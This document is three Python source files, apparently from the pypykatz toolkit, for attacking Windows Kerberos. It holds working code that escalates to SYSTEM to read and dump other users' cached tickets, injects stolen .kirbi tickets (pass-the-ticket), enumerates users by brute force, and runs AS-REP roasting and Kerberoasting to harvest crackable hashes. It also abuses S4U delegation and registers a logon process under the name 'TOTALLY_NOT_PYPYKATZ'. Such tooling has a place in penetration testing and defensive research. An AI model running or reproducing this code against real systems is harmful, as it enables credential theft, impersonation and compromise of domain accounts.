701 lsa_target.MaximumLength = targetname_len_alloc
702 lsa_target.Buffer = cast(targetname_start_padded, POINTER(c_char))
703
704 req.TargetName = lsa_target
705
706 #print(targetname_start_padded)
707 #print(lsa_target.Buffer.contents)
708 ##print(lsa_target.to_string())
709 #print(string_at(targetname_start_padded, lsa_target.MaximumLength))
710 #print('a %s' % addressof(req))
711 #print('s %s' % sizeof(req))
712 #hd = hexdump(string_at(addressof(req), sizeof(req)), start = addressof(req))
713 #print(hd)
714
715 return req
716
717 class KERB_RETRIEVE_TKT_RESPONSE(Structure):
718 _fields_ = [
719 ("Ticket", KERB_EXTERNAL_TICKET),
720 ]
721
722 # Invalid handle value is -1 casted to void pointer.
723 try:
724 INVALID_HANDLE_VALUE = c_void_p(-1).value #-1 #0xFFFFFFFF
725 except TypeError:
726 if sizeof(c_void_p) == 4:
727 INVALID_HANDLE_VALUE = 0xFFFFFFFF
728 elif sizeof(c_void_p) == 8:
729 INVALID_HANDLE_VALUE = 0xFFFFFFFFFFFFFFFF
730 else:
731 raise
732
733 def get_lsa_error(ret_status):
734 return WinError(LsaNtStatusToWinError(ret_status))
735
736 def RaiseIfZero(result, func = None, arguments = ()):
737 """
738 Error checking for most Win32 API calls.
739
740 The function is assumed to return an integer, which is C{0} on error.
741 In that case the C{WindowsError} exception is raised.
742 """
743 if not result:
744 raise WinError()
745 return result
746
747 def LsaRaiseIfNotErrorSuccess(result, func = None, arguments = ()):
748 """
749 Error checking for Win32 Registry API calls.
750
751 The function is assumed to return a Win32 error code. If the code is not
752 C{ERROR_SUCCESS} then a C{WindowsError} exception is raised.
753 """
754 if result != ERROR_SUCCESS:
755 raise WinError(LsaNtStatusToWinError(result))
756 return result
757
758 # https://docs.microsoft.com/en-us/windows/win32/api/ntsecapi/nf-ntsecapi-lsantstatustowinerror
759 def LsaNtStatusToWinError(errcode):
760 _LsaConnectUntrusted = windll.Advapi32.LsaNtStatusToWinError
761 _LsaConnectUntrusted.argtypes = [NTSTATUS]
762 _LsaConnectUntrusted.restype = ULONG
763
764 res = _LsaConnectUntrusted(errcode)
765 if res == 0x13D:
766 raise Exception('ERROR_MR_MID_NOT_FOUND for %s' % errcode)
767 return res
768
769
770 # https://docs.microsoft.com/en-us/windows/win32/api/ntsecapi/nf-ntsecapi-lsafreereturnbuffer
771 def LsaFreeReturnBuffer(pbuffer):
772 _LsaFreeReturnBuffer = windll.Secur32.LsaFreeReturnBuffer
773 _LsaFreeReturnBuffer.argtypes = [PVOID]
774 _LsaFreeReturnBuffer.restype = NTSTATUS
775 _LsaFreeReturnBuffer.errcheck = LsaRaiseIfNotErrorSuccess
776
777 _LsaFreeReturnBuffer(pbuffer)
778
779 # https://docs.microsoft.com/en-us/windows/win32/api/ntsecapi/nf-ntsecapi-lsaconnectuntrusted
780 def LsaConnectUntrusted():
781 _LsaConnectUntrusted = windll.Secur32.LsaConnectUntrusted
782 _LsaConnectUntrusted.argtypes = [PHANDLE]
783 _LsaConnectUntrusted.restype = NTSTATUS
784 _LsaConnectUntrusted.errcheck = LsaRaiseIfNotErrorSuccess
785
786 lsa_handle = HANDLE(INVALID_HANDLE_VALUE)
787 _LsaConnectUntrusted(byref(lsa_handle))
788 return lsa_handle
789
790 # https://docs.microsoft.com/en-us/windows/win32/api/ntsecapi/nf-ntsecapi-lsaderegisterlogonprocess
791 def LsaDeregisterLogonProcess(lsa_handle):
792 _LsaDeregisterLogonProcess = windll.Secur32.LsaDeregisterLogonProcess
793 _LsaDeregisterLogonProcess.argtypes = [HANDLE]
794 _LsaDeregisterLogonProcess.restype = NTSTATUS
795 _LsaDeregisterLogonProcess.errcheck = LsaRaiseIfNotErrorSuccess
796
797 _LsaDeregisterLogonProcess(lsa_handle)
798
799 return
800
801 # https://docs.microsoft.com/en-us/windows/win32/api/ntsecapi/nf-ntsecapi-lsaregisterlogonprocess
802 def LsaRegisterLogonProcess(logon_process_name):
803 #logon_process_name == This string must not exceed 127 bytes.
804 _LsaRegisterLogonProcess = windll.Secur32.LsaRegisterLogonProcess
805 _LsaRegisterLogonProcess.argtypes = [PLSA_STRING, PHANDLE, PLSA_OPERATIONAL_MODE]
806 _LsaRegisterLogonProcess.restype = NTSTATUS
807 _LsaRegisterLogonProcess.errcheck = LsaRaiseIfNotErrorSuccess
808
809 if isinstance(logon_process_name, str):
810 logon_process_name = logon_process_name.encode()
811
812 pname = LSA_STRING()
813 pname.Buffer = create_string_buffer(logon_process_name)
814 pname.Length = len(logon_process_name)
815 pname.MaximumLength = len(logon_process_name) + 1
816
817 lsa_handle = HANDLE(INVALID_HANDLE_VALUE)
818 dummy = LSA_OPERATIONAL_MODE(0)
819 _LsaRegisterLogonProcess(byref(pname), byref(lsa_handle), byref(dummy))
820
821 return lsa_handle
822
823
824 # https://docs.microsoft.com/en-us/windows/win32/api/ntsecapi/nf-ntsecapi-lsalookupauthenticationpackage
825 def LsaLookupAuthenticationPackage(lsa_handle, package_name):
826 #logon_process_name == This string must not exceed 127 bytes.
827 _LsaLookupAuthenticationPackage = windll.Secur32.LsaLookupAuthenticationPackage
828 _LsaLookupAuthenticationPackage.argtypes = [HANDLE, PLSA_STRING, PULONG]
829 _LsaLookupAuthenticationPackage.restype = NTSTATUS
830 _LsaLookupAuthenticationPackage.errcheck = LsaRaiseIfNotErrorSuccess
831
832 if isinstance(package_name, str):
833 package_name = package_name.encode()
834
835 pname = LSA_STRING()
836 pname.Buffer = create_string_buffer(package_name)
837 pname.Length = len(package_name)
838 pname.MaximumLength = len(package_name) + 1
839
840 package_id = ULONG(0)
841 _LsaLookupAuthenticationPackage(lsa_handle, byref(pname), byref(package_id))
842
843 return package_id.value
844
845 # https://docs.microsoft.com/en-us/windows/win32/api/ntsecapi/nf-ntsecapi-lsacallauthenticationpackage
846 def LsaCallAuthenticationPackage(lsa_handle, package_id, message):
847 #message bytes
848 _LsaCallAuthenticationPackage = windll.Secur32.LsaCallAuthenticationPackage
849 _LsaCallAuthenticationPackage.argtypes = [HANDLE, ULONG, PVOID, ULONG, PVOID, PULONG, PNTSTATUS]
850 _LsaCallAuthenticationPackage.restype = DWORD
851 _LsaCallAuthenticationPackage.errcheck = LsaRaiseIfNotErrorSuccess
852
853 if not isinstance(message, Structure):
854 message = bytes(message)
855 message_len = len(message)
856 else:
857 message_len = len(bytes(message))
858
859 return_msg_p = c_void_p()
860 return_msg_len = ULONG(0)
861 return_status = NTSTATUS(INVALID_HANDLE_VALUE)
862 _LsaCallAuthenticationPackage(lsa_handle, package_id, byref(message), message_len, byref(return_msg_p), byref(return_msg_len), byref(return_status))
863
864 return_msg = b''
865 free_ptr = None #please free this pointer when the parsing is finished on the upper levels using LsaFreeReturnBuffer. Problem is that if we call LsaFreeReturnBuffer here then the parsing will fail if the message has nested structures with pointers involved because by the time of parsing those pointers will be freed. sad.
866 if return_msg_len.value > 0:
867 return_msg = string_at(return_msg_p, return_msg_len.value)
868 free_ptr = return_msg_p
869 #LsaFreeReturnBuffer(return_msg_p)
870
871
872 return return_msg, return_status.value, free_ptr
873
874 # https://docs.microsoft.com/en-us/windows/win32/api/ntsecapi/nf-ntsecapi-lsaenumeratelogonsessions
875 def LsaEnumerateLogonSessions():
876 #logon_process_name == This string must not exceed 127 bytes.
877 _LsaEnumerateLogonSessions = windll.Secur32.LsaEnumerateLogonSessions
878 _LsaEnumerateLogonSessions.argtypes = [PULONG , PVOID] #PLUID
879 _LsaEnumerateLogonSessions.restype = NTSTATUS
880 _LsaEnumerateLogonSessions.errcheck = LsaRaiseIfNotErrorSuccess
881
882 LogonSessionCount = ULONG(0)
883 start_luid = c_void_p()
884 _LsaEnumerateLogonSessions(byref(LogonSessionCount), byref(start_luid))
885
886 class LUIDList(Structure):
887 _fields_ = [
888 ("LogonIds", LUID*LogonSessionCount.value),
889 ]
890 PLUIDList = POINTER(LUIDList)
891
892 res_luids = []
893 pluids = cast(start_luid, PLUIDList)
894 for luid in pluids.contents.LogonIds:
895 res_luids.append(luid.to_int())
896
897 LsaFreeReturnBuffer(start_luid)
898
899 return res_luids
900
901 # https://docs.microsoft.com/en-us/windows/win32/api/ntsecapi/nf-ntsecapi-lsagetlogonsessiondata
902 def LsaGetLogonSessionData(luid):
903 #logon_process_name == This string must not exceed 127 bytes.
904 _LsaGetLogonSessionData = windll.Secur32.LsaGetLogonSessionData
905 _LsaGetLogonSessionData.argtypes = [PLUID, PVOID] #PSECURITY_LOGON_SESSION_DATA
906 _LsaGetLogonSessionData.restype = NTSTATUS
907 _LsaGetLogonSessionData.errcheck = LsaRaiseIfNotErrorSuccess
908
909 if isinstance(luid, int):
910 luid = LUID.from_int(luid)
911
912 ppsessiondata = c_void_p()
913 _LsaGetLogonSessionData(byref(luid), byref(ppsessiondata))
914
915 psessiondata = cast(ppsessiondata, PSECURITY_LOGON_SESSION_DATA)
916 sessiondata = psessiondata.contents.to_dict()
917 LsaFreeReturnBuffer(ppsessiondata)
918
919 return sessiondata
920
921 #https://github.com/mhammond/pywin32/blob/d64fac8d7bda2cb1d81e2c9366daf99e802e327f/win32/Lib/sspi.py#L108
922 #https://docs.microsoft.com/en-us/windows/desktop/secauthn/using-sspi-with-a-windows-sockets-client
923 #https://msdn.microsoft.com/en-us/library/Aa374712(v=VS.85).aspx
924 def AcquireCredentialsHandle(client_name, package_name, tragetspn, cred_usage, pluid = None, authdata = None):
925 def errc(result, func, arguments):
926 if SEC_E(result) == SEC_E.OK:
927 return result
928 raise Exception('%s failed with error code %s (%s)' % ('AcquireCredentialsHandle', result, SEC_E(result)))
929
930 _AcquireCredentialsHandle = windll.Secur32.AcquireCredentialsHandleA
931 _AcquireCredentialsHandle.argtypes = [PSEC_CHAR, PSEC_CHAR, ULONG, PLUID, PVOID, PVOID, PVOID, PCredHandle, PTimeStamp]
932 _AcquireCredentialsHandle.restype = DWORD
933 _AcquireCredentialsHandle.errcheck = errc
934
935 #TODO: package_name might be different from version to version. implement functionality to poll it properly!
936
937 cn = None
938 if client_name:
939 cn = LPSTR(client_name.encode('ascii'))
940 pn = LPSTR(package_name.encode('ascii'))
941
942 creds = CredHandle()
943 ts = TimeStamp()
944 _AcquireCredentialsHandle(cn, pn, cred_usage, pluid, authdata, None, None, byref(creds), byref(ts))
945 return creds
946
947 # https://docs.microsoft.com/en-us/windows/desktop/api/sspi/nf-sspi-querycontextattributesa
948 def QueryContextAttributes(ctx, attr, sec_struct):
949 #attr = SECPKG_ATTR enum
950 def errc(result, func, arguments):
951 if SEC_E(result) == SEC_E.OK:
952 return SEC_E(result)
953 raise Exception('%s failed with error code %s (%s)' % ('QueryContextAttributes', result, SEC_E(result)))
954
955 _QueryContextAttributes = windll.Secur32.QueryContextAttributesW
956 _QueryContextAttributes.argtypes = [PCtxtHandle, ULONG, PVOID]
957 _QueryContextAttributes.restype = DWORD
958 _QueryContextAttributes.errcheck = errc
959
960 res = _QueryContextAttributes(byref(ctx), attr.value, byref(sec_struct))
961
962 return
963
964
965 # https://msdn.microsoft.com/en-us/library/windows/desktop/aa375507(v=vs.85).aspx
966 def InitializeSecurityContext(creds, target, ctx = None, flags = ISC_REQ.INTEGRITY | ISC_REQ.CONFIDENTIALITY | ISC_REQ.SEQUENCE_DETECT | ISC_REQ.REPLAY_DETECT, TargetDataRep = 0, token = None):
967 #print('==== InitializeSecurityContext ====')
968 #print('Creds: %s' % creds)
969 #print('Target: %s' % target)
970 #print('ctx: %s' % ctx)
971 #print('token: %s' % token)
972 def errc(result, func, arguments):
973 if SEC_E(result) in [SEC_E.OK, SEC_E.COMPLETE_AND_CONTINUE, SEC_E.COMPLETE_NEEDED, SEC_E.CONTINUE_NEEDED, SEC_E.INCOMPLETE_CREDENTIALS]:
974 return SEC_E(result)
975 raise Exception('%s failed with error code %s (%s)' % ('InitializeSecurityContext', result, SEC_E(result)))
976
977 _InitializeSecurityContext = windll.Secur32.InitializeSecurityContextA
978 _InitializeSecurityContext.argtypes = [PCredHandle, PCtxtHandle, PSEC_CHAR, ULONG, ULONG, ULONG, PSecBufferDesc, ULONG, PCtxtHandle, PSecBufferDesc, PULONG, PTimeStamp]
979 _InitializeSecurityContext.restype = DWORD
980 _InitializeSecurityContext.errcheck = errc
981
982 if target:
983 ptarget = LPSTR(target.encode('ascii'))
984 else:
985 ptarget = None
986 newbuf = SecBufferDesc()
987 outputflags = ULONG()
988 expiry = TimeStamp()
989
990 if token:
991 token = SecBufferDesc([SecBuffer(token)])
992
993
994 if not ctx:
995 ctx = CtxtHandle()
996 res = _InitializeSecurityContext(byref(creds), None, ptarget, int(flags), 0 ,TargetDataRep, byref(token) if token else None, 0, byref(ctx), byref(newbuf), byref(outputflags), byref(expiry))
997 else:
998 res = _InitializeSecurityContext(byref(creds), byref(ctx), ptarget, int(flags), 0 ,TargetDataRep, byref(token) if token else None, 0, byref(ctx), byref(newbuf), byref(outputflags), byref(expiry))
999
1000 data = newbuf.Buffers
1001
1002 return res, ctx, data, ISC_REQ(outputflags.value), expiry
1003
1004
1005 def get_ticket_cache_info_helper(lsa_handle, package_id, luid, throw = True):
1006 result = []
1007 message = KERB_QUERY_TKT_CACHE_REQUEST(luid)
1008 ret_msg, ret_status, free_prt = LsaCallAuthenticationPackage(lsa_handle, package_id, message)
1009
1010 if ret_status != 0:
1011 if throw is True:
1012 raise WinError(LsaNtStatusToWinError(ret_status))
1013 return result
1014
1015 response_preparse = KERB_QUERY_TKT_CACHE_RESPONSE_SIZE.from_buffer_copy(ret_msg)
1016 if response_preparse.CountOfTickets > 0:
1017 #new class
1018 class KERB_QUERY_TKT_CACHE_RESPONSE_ARRAY(Structure):
1019 _fields_ = [
1020 ("MessageType", DWORD),
1021 ("CountOfTickets", ULONG),
1022 ("Tickets", KERB_TICKET_CACHE_INFO * response_preparse.CountOfTickets)
1023 ]
1024
1025 response = KERB_QUERY_TKT_CACHE_RESPONSE_ARRAY.from_buffer_copy(ret_msg)
1026 for ticket in response.Tickets:
1027 result.append(ticket.to_dict())
1028
1029 LsaFreeReturnBuffer(free_prt)
1030
1031 return result
1032
1033 def extract_ticket(lsa_handle, package_id, luid, target_name):
1034 message = retrieve_tkt_helper(target_name, logonid=luid)
1035 ret_msg, ret_status, free_ptr = LsaCallAuthenticationPackage(lsa_handle, package_id, message)
1036
1037 ticket = {}
1038 if ret_status != 0:
1039 raise WinError(LsaNtStatusToWinError(ret_status))
1040 if len(ret_msg) > 0:
1041 resp = KERB_RETRIEVE_TKT_RESPONSE.from_buffer_copy(ret_msg)
1042 ticket = resp.Ticket.get_data()
1043 LsaFreeReturnBuffer(free_ptr)
1044
1045 return ticket
1046
1047
1048 if __name__ == '__main__':
1049
1050 #luids = LsaEnumerateLogonSessions()
1051 #for luid in luids:
1052 # try:
1053 # session_info = LsaGetLogonSessionData(luid)
1054 # print(session_info)
1055 # except Exception as e:
1056 # import traceback
1057 # traceback.print_exc()
1058 # print(e)
1059 from pypykatz.commons.readers.local.common.privileges import RtlAdjustPrivilege
1060 from pypykatz.commons.winapi.processmanipulator import ProcessManipulator
1061 pm = ProcessManipulator()
1062
1063
1064
1065 #lsa_handle = LsaConnectUntrusted()
1066
1067 #package_id = LsaLookupAuthenticationPackage(lsa_handle, 'kerberos')
1068 #print(package_id)
1069 #message = KERB_PURGE_TKT_CACHE_REQUEST()
1070 #LsaCallAuthenticationPackage(lsa_handle, package_id, message)
1071 #LsaDeregisterLogonProcess(lsa_handle)
1072
1073 import sys
1074
1075 #print(LsaGetLogonSessionData(0))
1076 #retrieve_tkt_helper('almaaaaasaaaa')
1077
1078 #sys.exit()
1079
1080 pm.getsystem()
1081 lsa_handle = LsaRegisterLogonProcess('HELLOOO')
1082 pm.dropsystem()
1083 package_id = LsaLookupAuthenticationPackage(lsa_handle, 'kerberos')
1084
1085 with open('test_9.kirbi', 'rb') as f:
1086 ticket_data = f.read()
1087
1088 luid = 0
1089 message = submit_tkt_helper(ticket_data, logonid=luid)
1090 ret_msg, ret_status, free_ptr = LsaCallAuthenticationPackage(lsa_handle, package_id, message)
1091
1092 print(get_lsa_error(ret_status))
1093 print(ret_msg)
1094
1095 #
1096
1097 #print(lsa_handle_2)
1098 #LsaDeregisterLogonProcess(lsa_handle_2)
1099
0
1 from pypykatz.kerberos.kirbiutils import parse_kirbi, print_kirbi
2 from pypykatz import logger
3 import os
4 import ntpath
5 import glob
6 import pprint
7 import platform
8 import datetime
9
10 from msldap.commons.url import MSLDAPURLDecoder
11
12 from minikerberos.security import KerberosUserEnum, APREPRoast, Kerberoast
13 from msldap.authentication.kerberos.gssapi import get_gssapi, GSSWrapToken, KRB5_MECH_INDEP_TOKEN
14 from minikerberos.common.url import KerberosClientURL, kerberos_url_help_epilog
15 from minikerberos.common.spn import KerberosSPN
16 from minikerberos.common.creds import KerberosCredential
17 from minikerberos.common.target import KerberosTarget
18 from minikerberos.common.keytab import Keytab
19 from minikerberos.aioclient import AIOKerberosClient
20 from minikerberos.common.utils import TGSTicket2hashcat
21 from minikerberos.protocol.asn1_structs import AP_REQ, TGS_REQ, EncryptedData, KrbCredInfo, KRB_CRED, EncKDCRepPart
22 from minikerberos.common.utils import print_table
23 from minikerberos.common.ccache import CCACHE, Credential
24
25
26 def process_target_line(target, realm = None, to_spn = True):
27 spn = KerberosSPN()
28 if to_spn is False:
29 spn = KerberosCredential()
30 line = target.strip()
31 if line == '':
32 return None
33 m = line.find('@')
34 if m == -1:
35 if realm is not None:
36 spn.username = line
37 spn.domain = realm
38 else:
39 raise Exception('User %s is missing realm specification and no global realm is defined!' % line)
40
41 else:
42 spn.username, spn.domain = line.split('@',1)
43 if realm is not None:
44 spn.domain = realm
45
46 return spn
47
48 def generate_targets(targets, realm = None, to_spn = True):
49 """
50 Takes a list of files or strings and generates a list of targets in <username>@<realm> format
51 """
52 for target in targets:
53 target = target.strip()
54 try:
55 open(target, 'r')
56 except:
57 x = process_target_line(target, realm = realm, to_spn = to_spn)
58 if x:
59 yield x
60 else:
61 with open(target, 'r') as f:
62 for line in f:
63 x = process_target_line(line, realm = realm, to_spn = to_spn)
64 if x:
65 yield x
66
67 def process_keytab(keytablfile):
68 with open(keytablfile, 'rb') as f:
69 kt = Keytab.from_bytes(f.read())
70 print(str(kt))
71
72 def list_ccache(ccachefile):
73 cc = CCACHE.from_file(ccachefile)
74 table = []
75 table.append(['id'] + Credential.summary_header())
76 i = 0
77 for cred in cc.credentials:
78 table.append([str(i)] + cred.summary())
79 i += 1
80 print() #this line intentionally left blank
81 print_table(table)
82
83 def roast_ccache(ccachefile, outfile = None):
84 cc = CCACHE.from_file(ccachefile)
85 if outfile:
86 with open(outfile, 'wb') as f:
87 for h in cc.get_hashes(all_hashes = True):
88 f.write(h.encode() + b'\r\n')
89 else:
90 for h in cc.get_hashes(all_hashes = True):
91 print(h)
92
93 def del_ccache(ccachefile, index):
94 output_filename = os.path.join(os.path.dirname(os.path.abspath(ccachefile)), '%s.edited.ccache' % ntpath.basename(ccachefile)) #sorry for this, im tired now :(
95 cc = CCACHE.from_file(ccachefile)
96 temp_cc = CCACHE()
97 temp_cc.file_format_version = cc.file_format_version
98 temp_cc.headerlen = cc.headerlen
99 temp_cc.headers = cc.headers
100 temp_cc.primary_principal = cc.primary_principal
101
102 for i, cred in enumerate(cc.credentials):
103 if i == index:
104 continue
105
106 temp_cc.credentials.append(cred)
107
108 logger.info('Writing edited file to %s' % output_filename)
109 temp_cc.to_file(output_filename)
110
111 def ccache_to_kirbi(ccachefile, kirbidir):
112 cc = CCACHE.from_file(ccachefile)
113 logger.info('Extracting kirbi file(s)')
114 cc.to_kirbidir(kirbidir)
115 logger.info('Done!')
116
117 def kirbi_to_ccache(ccachefile, kirbi):
118 try:
119 cc = CCACHE.from_file(ccachefile)
120 except FileNotFoundError:
121 cc = CCACHE()
122
123 abs_path = os.path.abspath(kirbi)
124 if os.path.isdir(abs_path):
125 logger.info('Parsing kirbi files in directory %s' % abs_path)
126 for kirbifile in glob.glob(kirbi + '*.kirbi'):
127 cc.add_kirbi(kirbifile)
128 else:
129 cc.add_kirbi(kirbi)
130
131 cc.to_file(ccachefile)
132
133 async def get_TGS(url, spn, out_file = None):
134 try:
135 logger.debug('[KERBEROS][TGS] started')
136 ku = KerberosClientURL.from_url(url)
137 cred = ku.get_creds()
138 target = ku.get_target()
139 spn = KerberosSPN.from_user_email(spn)
140
141 logger.debug('[KERBEROS][TGS] target user: %s' % spn.get_formatted_pname())
142 logger.debug('[KERBEROS][TGS] fetching TGT')
143 kcomm = AIOKerberosClient(cred, target)
144 await kcomm.get_TGT()
145 logger.debug('[KERBEROS][TGS] fetching TGS')
146 tgs, encTGSRepPart, key = await kcomm.get_TGS(spn)
147
148 if out_file is not None:
149 kcomm.ccache.to_file(out_file)
150 logger.debug('[KERBEROS][TGS] done!')
151 return tgs, encTGSRepPart, key, None
152 except Exception as e:
153 return None, None, None, e
154
155 async def get_TGT(url):
156 try:
157 logger.debug('[KERBEROS][TGT] started')
158 ku = KerberosClientURL.from_url(url)
159 cred = ku.get_creds()
160 target = ku.get_target()
161
162 logger.debug('[KERBEROS][TGT] cred: %s' % cred)
163 logger.debug('[KERBEROS][TGT] target: %s' % target)
164
165 kcomm = AIOKerberosClient(cred, target)
166 logger.debug('[KERBEROS][TGT] fetching TGT')
167 await kcomm.get_TGT()
168
169 cred = kcomm.ccache.credentials[0]
170 kirbi, filename = cred.to_kirbi()
171
172 return kirbi, filename, None
173 except Exception as e:
174 return None, None, e
175
176 async def brute(host, targets, out_file = None, show_negatives = False):
177 """
178 targets List<KerberosSPN>
179
180 """
181 try:
182 logger.debug('[KERBEROS][BRUTE] User enumeration starting')
183 target = KerberosTarget(host)
184
185 for spn in targets:
186 ke = KerberosUserEnum(target, spn)
187
188 result = await ke.run()
189 if result is True:
190 if out_file:
191 with open(out_file, 'a') as f:
192 f.write(result + '\r\n')
193 else:
194 print('[+] %s' % str(spn))
195 else:
196 if show_negatives is True:
197 print('[-] %s' % str(spn))
198
199 logger.info('[KERBEROS][BRUTE] User enumeration finished')
200 return None, None
201 except Exception as e:
202 return None, e
203
204
205 async def asreproast(host, targets, out_file = None, etype = 23):
206 """
207 targets List<KerberosSPN>
208
209 """
210 try:
211 logger.debug('[KERBEROS][ASREPROAST] Roasting...')
212 logger.debug('[KERBEROS][ASREPROAST] Supporting the following encryption type: %s' % (str(etype)))
213
214 ks = KerberosTarget(host)
215 ar = APREPRoast(ks)
216 hashes = []
217 for target in targets:
218 h = await ar.run(target, override_etype = [etype])
219 hashes.append(h)
220
221 if out_file:
222 with open(out_file, 'a', newline = '') as f:
223 for thash in hashes:
224 f.write(thash + '\r\n')
225 else:
226 print(h)
227
228 logger.info('[KERBEROS][ASREPROAST] Done!')
229 return hashes, None
230
231 except Exception as e:
232 return None, e
233
234 async def spnroast(url, targets, out_file = None, etype = 23):
235 """
236 targets List<KerberosSPN>
237
238 """
239 try:
240 logger.debug('[KERBEROS][SPNROAST] Roasting...')
241 if etype:
242 if etype == -1:
243 etypes = [23, 17, 18]
244 else:
245 etypes = [etype]
246 else:
247 etypes = [23, 17, 18]
248
249 logger.debug('[KERBEROS][SPNROAST] Using the following encryption type(s): %s' % (','.join(str(x) for x in etypes)))
250
251 ku = KerberosClientURL.from_url(url)
252 cred = ku.get_creds()
253 target = ku.get_target()
254 ar = Kerberoast(target, cred)
255 hashes = await ar.run(targets, override_etype = etypes)
256
257 if out_file:
258 with open(out_file, 'w', newline = '') as f:
259 for thash in hashes:
260 f.write(thash + '\r\n')
261
262 else:
263 for thash in hashes:
264 print(thash)
265
266 logger.info('[KERBEROS][SPNROAST] Done!')
267 return hashes, None
268
269 except Exception as e:
270 return None, e
271
272 async def s4u(url, spn, targetuser, out_file = None):
273 try:
274 logger.debug('[KERBEROS][S4U] Started')
275 cu = KerberosClientURL.from_url(url)
276 ccred = cu.get_creds()
277 target = cu.get_target()
278
279 service_spn = KerberosSPN.from_target_string(spn)
280 target_user = KerberosSPN.from_user_email(targetuser)
281
282 if not ccred.ccache:
283 logger.debug('[KERBEROS][S4U] Getting TGT')
284 client = AIOKerberosClient(ccred, target)
285 await client.get_TGT()
286 logger.debug('[KERBEROS][S4U] Getting ST')
287 tgs, encTGSRepPart, key = await client.getST(target_user, service_spn)
288 else:
289 logger.debug('[KERBEROS][S4U] Getting TGS via TGT from CCACHE')
290 for tgt, key in ccred.ccache.get_all_tgt():
291 try:
292 logger.debug('[KERBEROS][S4U] Trying to get SPN with %s' % '!'.join(tgt['cname']['name-string']))
293 client = AIOKerberosClient.from_tgt(target, tgt, key)
294
295 tgs, encTGSRepPart, key = await client.getST(target_user, service_spn)
296 logger.debug('[KERBEROS][S4U] Sucsess!')
297 except Exception as e:
298 logger.debug('[KERBEROS][S4U] This ticket is not usable it seems Reason: %s' % e)
299 continue
300 else:
301 break
302
303 if out_file:
304 client.ccache.to_file(out_file)
305
306 logger.debug('[KERBEROS][S4U] Done!')
307 return tgs, encTGSRepPart, key, None
308
309 except Exception as e:
310 return None, None, None, e
0
1 import datetime
2
3 from winacl.functions.highlevel import get_logon_info
4 from msldap.commons.url import MSLDAPURLDecoder
5 from pypykatz.kerberos.functiondefs.asn1structs import InitialContextToken
6 from minikerberos.common.utils import TGSTicket2hashcat, TGTTicket2hashcat
7 from minikerberos.network.clientsocket import KerberosClientSocket
8 from minikerberos.common.target import KerberosTarget
9
10 from minikerberos.security import APREPRoast, Kerberoast
11 from minikerberos.common.creds import KerberosCredential
12 from minikerberos.common.target import KerberosTarget
13 from minikerberos.common.utils import TGSTicket2hashcat
14 from minikerberos.protocol.asn1_structs import AP_REQ, KRB_CRED, EncKrbCredPart, \
15 KRBCRED, Authenticator, KrbCredInfo, EncryptedData, TGS_REQ, AP_REP
16 from minikerberos.common.utils import print_table
17 from minikerberos.common.ccache import CCACHE, Credential
18 from minikerberos.protocol.structures import ChecksumFlags, AuthenticatorChecksum
19 from minikerberos.protocol.encryption import Key, _enctype_table
20
21
22 from pypykatz import logger
23 from pypykatz.commons.winapi.processmanipulator import ProcessManipulator
24 from pypykatz.kerberos.functiondefs.netsecapi import LsaConnectUntrusted, \
25 LsaLookupAuthenticationPackage, KERB_PURGE_TKT_CACHE_REQUEST, LsaCallAuthenticationPackage, \
26 LsaDeregisterLogonProcess, LsaRegisterLogonProcess, LsaEnumerateLogonSessions, \
27 LsaGetLogonSessionData, LsaFreeReturnBuffer, retrieve_tkt_helper, KERB_RETRIEVE_TKT_RESPONSE, \
28 get_lsa_error, get_ticket_cache_info_helper, extract_ticket, submit_tkt_helper, \
29 AcquireCredentialsHandle, InitializeSecurityContext, SECPKG_CRED, ISC_REQ, SEC_E, \
30 SecPkgContext_SessionKey, QueryContextAttributes, SECPKG_ATTR
31
32 from pypykatz.kerberos.functiondefs.advapi32 import OpenProcessToken, GetTokenInformation_tokenstatistics
33 from pypykatz.kerberos.functiondefs.kernel32 import GetCurrentProcessId, OpenProcess, CloseHandle, MAXIMUM_ALLOWED
34
35
36 class KerberosLive:
37 def __init__(self, start_luid = 0, helper_name = 'TOTALLY_NOT_PYPYKATZ'):
38 self.available_luids = []
39 self.current_luid = start_luid
40 self.original_luid = self.get_current_luid()
41 self.kerberos_package_id = None
42 self.helper_name = helper_name
43 self.__lsa_handle = None
44 self.__lsa_handle_is_elevated = None
45
46 self.get_kerberos_package_id()
47 self.list_luids()
48
49 def get_kerberos_package_id(self):
50 if self.kerberos_package_id is None:
51 lsa_handle = LsaConnectUntrusted()
52 self.kerberos_package_id = LsaLookupAuthenticationPackage(lsa_handle, 'kerberos')
53 LsaDeregisterLogonProcess(lsa_handle)
54
55 return self.kerberos_package_id
56
57 def __open_elevated(self):
58 if self.__lsa_handle_is_elevated is True:
59 return self.__lsa_handle
60
61 pm = ProcessManipulator()
62 try:
63 pm.getsystem()
64 except Exception as e:
65 raise Exception('Failed to obtain SYSTEM privileges! Are you admin? Error: %s' % e)
66
67 self.__lsa_handle = LsaRegisterLogonProcess(self.helper_name)
68 pm.dropsystem()
69 self.__lsa_handle_is_elevated = True
70 return self.__lsa_handle
71
72 def open_lsa_handle(self, luid, req_elevated = False):
73 if req_elevated is True:
74 if self.__lsa_handle_is_elevated is True:
75 return self.__lsa_handle
76 return self.__open_elevated()
77
78
79 if luid == 0 or self.original_luid == self.current_luid:
80 self.__lsa_handle = LsaConnectUntrusted()
81 self.__lsa_handle_is_elevated = False
82 else:
83 self.__open_elevated()
84
85 return self.__lsa_handle
86
87 def switch_luid(self, new_luid):
88 self.open_lsa_handle(0, req_elevated=True)
89 if new_luid not in self.available_luids:
90 if new_luid not in self.list_luids():
91 raise Exception('This luid is not known!')
92
93 self.current_luid = new_luid
94
95 #def get_ticket_from_cache(self, luid, targetname):
96 # self.open_lsa_handle(0, req_elevated=True)
97 # ticket_data = None
98 # msg_req_ticket = retrieve_tkt_helper(targetname, logonid = luid)
99 # ret_msg, ret_status, free_prt = LsaCallAuthenticationPackage(self.__lsa_handle, self.kerberos_package_id, msg_req_ticket)
100 #
101 # #print('ret_msg %s' % ret_msg)
102 # #print('ret_status %s' % ret_status)
103 # if ret_status != 0:
104 # raise get_lsa_error(ret_status)
105 #
106 # if len(ret_msg) > 0:
107 # resp = KERB_RETRIEVE_TKT_RESPONSE.from_buffer_copy(ret_msg)
108 # ticket_data = resp.Ticket.get_data()
109 # LsaFreeReturnBuffer(free_prt)
110 #
111 # return ticket_data
112
113 def get_ticketinfo(self, luid):
114 if luid == 0:
115 luid = self.original_luid
116 self.open_lsa_handle(luid)
117 ticket_infos = {}
118 ticket_infos[luid] = []
119 for ticket_info in get_ticket_cache_info_helper(self.__lsa_handle, self.kerberos_package_id, luid, throw = False):
120 ticket_infos[luid].append(ticket_info)
121
122 return ticket_infos
123
